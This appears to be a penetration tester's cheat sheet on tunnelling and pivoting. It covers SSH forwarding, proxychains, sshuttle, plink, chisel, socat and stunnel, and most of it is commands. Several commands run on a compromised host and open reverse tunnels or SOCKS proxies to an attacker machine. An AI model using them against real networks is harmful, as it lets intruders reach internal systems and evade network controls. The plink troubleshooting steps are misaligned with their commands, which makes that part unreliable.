This cheat sheet contains known and common techniques for port forwarding and tunneling that we often use during engagements.
It is inspired by (and we believe extends) the following:
- https://book.hacktricks.xyz/tunneling-and-port-forwarding
- https://www.offensive-security.com/metasploit-unleashed/
- https://www.youtube.com/watch?v=JDlt5U52YMA
- SSH Local Port Forwarding
- SSH Remote Port Forwarding
- Proxychains
- Sshuttle
- Redsocks
- Plink
- Chisel
- Socat
- Metasploit
- Stunnel
Brings a port from the remote machine to your attacking machine:
ssh -N -L [IP_of_Interface(optional)]:[end_port]:[victim_ip]:[victim_port] [victim_user]@[victim_ip]
Note: The above command is run at your attacking machine.
The victim_ip
is the IP of the system whose port you want to forward on your attacking host.
The [IP_of_Interface(optional)]
can be omitted, or set to 0.0.0.0
so as to set a bind port for all interfaces.
The -N
can be omitted, as it doesn't enable ssh command execution, it's there to be useful when forwarding ports.
example: ssh -N -L 0.0.0.0:9999:192.168.67.132:80 [email protected]
After the above command is run, the remote httpd
service can be accessed by your local port 9999
.
Brings a port from a machine in the internal victim's network to your attacking machine:
ssh -N -R [your_ssh_server_interface]:[your_port]:[victim_ip]:[victim_port_you_want_to_forward] [attacker_username]@[your_ssh_server_ip]
The your_ssh_server_interface:
can be omitted.
The -N
can be omitted, as it doesn't enable ssh command execution, it's there to be useful when forwarding ports.
Note: The above command is run at a compromised machine inside the target network.
example: ssh -N -R 192.168.67.1:4445:192.168.67.128:445 [email protected]
After the above command is run, port 445
of host 192.168.67.128
(which is different from the compromised machine) is forwarded at the ssh server of IP 192.168.67.1
.
The victim_ip
can be set to 127.0.0.1
. This means that a local (in relation to where the command is run) port will be forwarded to the target ssh server
For this to work, you need the following configuration at your SSH server (/etc/ssh/sshd_config
):
GatewayPorts yes
When you want to forward many target ports in a dynamic manner, using ssh
you can create such a dynamic tunnel with the -D
switch. Then, using this tunnel and proxychains
you can forward all scans/traffic through ssh
for every requested port in a dynamic manner.
At the attacker's machine, make sure proxychains
is installed. The default configuration settings are ok (/etc/proxychains.conf
):
#proxy_dns
socks4 127.0.0.1 9050
You can use socks5
, http
or https
protocol. ICMP
is not supported.
We create a dynamic application-level port forwarding from the attacking machine to the victim machine, by running the following at the attacker's machine:
ssh -fND [proxychains.conf_port] [victim_username]@[victim_host]
The -f
requests ssh to run in background just before command execution.
The -N
can be omitted, as it doesn't enable ssh command execution, it's there to be useful when forwarding ports.
We verify the successful tunnel creation with ss -lt4pn
, where we should see something like this:
LISTEN 0 128 127.0.0.1:9050 0.0.0.0:* users:(("ssh",pid=31697,fd=5))
Then, we can execute supported tools with proxychains
so as to tunnel them through our ssh tunnel:
proxychains [tool]
e.g.:
proxychains smbclient -L 172.16.45.130
or
sudo proxychains nmap -sVT 172.16.45.130 -Pn
Remember that proxychains
doesn't support icmp
and therefore we should use relevant flags in nmap
and other tools.
Set a VPN through ssh.
Requirements:
- root access to the attacking machine
- simple user access at the ssh server
The simplest form is to run this from the attacker machine:
sudo sshuttle -vNHr victim_user@victim_host
The above command will create iptables
nat
rules to forward all networks that victim_host
is connected to back to the attacker.
-H
automatically updates the local/etc/hosts
with maching remote hostnames-N
automatically attempts to route all subnets of the ssh server
Then, the attacker can simply use a tool to connect to the desired host/port inside the internal network, which is normally inacessible, e.g.:
smbclient -L 172.16.45.130
If you went to use a specific ssh command to connect to the remote server, such as specifying your rsa
private key, you can use the -e
like so:
sshuttle -e "ssh -i id_rsa" -r victim_user@victim_host 172.168.1.0/24
The above command only routes subnet 172.168.1.0/24
back to the attacker
sshuttle
actually has a wealth of additional functionalities, you can further refer to its man-page.
Sets a TCP-to-proxy redirector through ssh.
log_debug = on;
log = "stderr";
daemon = off;
local_ip = 0.0.0.0;
Configure iptables in order to allow communication and redirect the requets:
echo 1 > /proc/sys/net/ipv4/ip_forward && iptables -t nat -A OUTPUT -p tcp -d [range] -j REDIRECT --to-ports 12345 && iptables -t nat -A PREROUTING -p tcp -d [range] -j REDIRECT --to-ports 12345
Example:
echo 1 > /proc/sys/net/ipv4/ip_forward && iptables -t nat -A OUTPUT -p tcp -d 172.168.1.0/24 -j REDIRECT --to-ports 12345 && iptables -t nat -A PREROUTING -p tcp -d 172.168.1.0/24 -j REDIRECT --to-ports 12345
Set a Dynamic Ssh port on default port 1080 of redsocks:
ssh -NfD 1080 [victim_username]@[victim_ip]
/usr/sbin/redsocks -c /etc/redsocks.conf
cmd.exe /c echo y | plink.exe -ssh -l [attacker_username] -pw [attacker_ssh_password] -R [attacker_ip]:[attacker_port]:[victim_ip]:[victim_port] [attacker_ip]
for example, suppose you have gained access at a dual-homed host and using this access, you want to access a port at another host that is not connected to the internet (you can't directly talk to it) but is accessible from the host you have access to:
attacker_ip
= 13.13.13.13attacker_port
= 2222 (this is the final port that will accept the remote connection)victim_ip
= 10.10.10.10 (IP of the inaccessible host)victim_port
= 22 (Port of the inaccessible host that you will tunnel outside)
cmd.exe /c echo y | plink.exe -ssh -l root -pw toor -R 13.13.13.13:2222:10.10.10.10:22 13.13.13.13
If you don't want to do an SSH remote port forwarding, but a local one instead:
cmd.exe /c echo y | plink.exe -ssh -l root -pw toor -R [attacker_ip]:[attacker_port]:127.0.0.1:[victim_port] [attacker_ip]
The above command will forward the local victim_port
at the host that you have access to, to your attacker_ip
:attacker_port
In the commands above, the cmd.exe /c echo y |
part can be ommited if you have previously accepted the server SSH certificate.
For the above to work, you need the following configuration at your SSH server:
GatewayPorts yes
- Check if architecture of plink and target system are compitable (32 bit & 64 bit).
- Check the version of plink, find newest version here
- Key exchange algorithm troubleshooting:
- FATAL ERROR: Couldn't agree a key exchange algorithm (available: curve25519-sha256,[email protected],ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256).
- Solution: Try to edit /etc/ssh/sshd_config and put the following to the top of the file:
Stop ssh from attackers machine:KexAlgorithms +diffie-hellman-group1-sha1 Ciphers +aes128-cbc
Regenerate the keys:systemctl stop ssh
Start ssh again:ssh-keygen -A
Use again the plink (Victim machine)systemctl start ssh
You need to use the same version for client and server of chisel.
Server side (Attacker):
chisel server -p 8080 --reverse
Client Side (Victim):
chisel-x64.exe client [my_ip]:8080 R:socks
After that use proxychains with port 1080 (default).
Aftes version 1.5.0 chisel uses socks5 proxy.
You need to use the same version for client and server of chisel.
Server side (Attacker):
chisel server -p 12312 --reverse
Client Side (Victim):
chisel client [my_ip]:12312 R:[port]:127.0.0.1:[port]
socat TCP-LISTEN:[victim_port],fork,reuseaddr TCP:[redirect_ip]:[exposed_port]
portfwd add –l [local_port] –p [exposed_port] –r [target_host]
More info about portfwd here
use this conf at the compromised machine to forward connections from its localhost 80 to remote target over TLS/SSL:
Edit /etc/stunnel/stunnel.conf
; Sample stunnel configuration file for Unix by Michal Trojnara 1998-2020
; Make sure you keep the default first line, as it contains some special
; chars that are needed
setuid = stunnel
setgid = stunnel
[trivial client]
client = yes
accept = 127.0.0.1:80
connect = www.google.com:443
debug = 3
PSKsecrets = /etc/stunnel/psk.txt
setuid = stunnel
setgid = stunnel
Generate a psk: openssl rand -base64 180 | tr -d '\n' | sed '1s/^/psk:/' > /etc/stunnel/psk.txt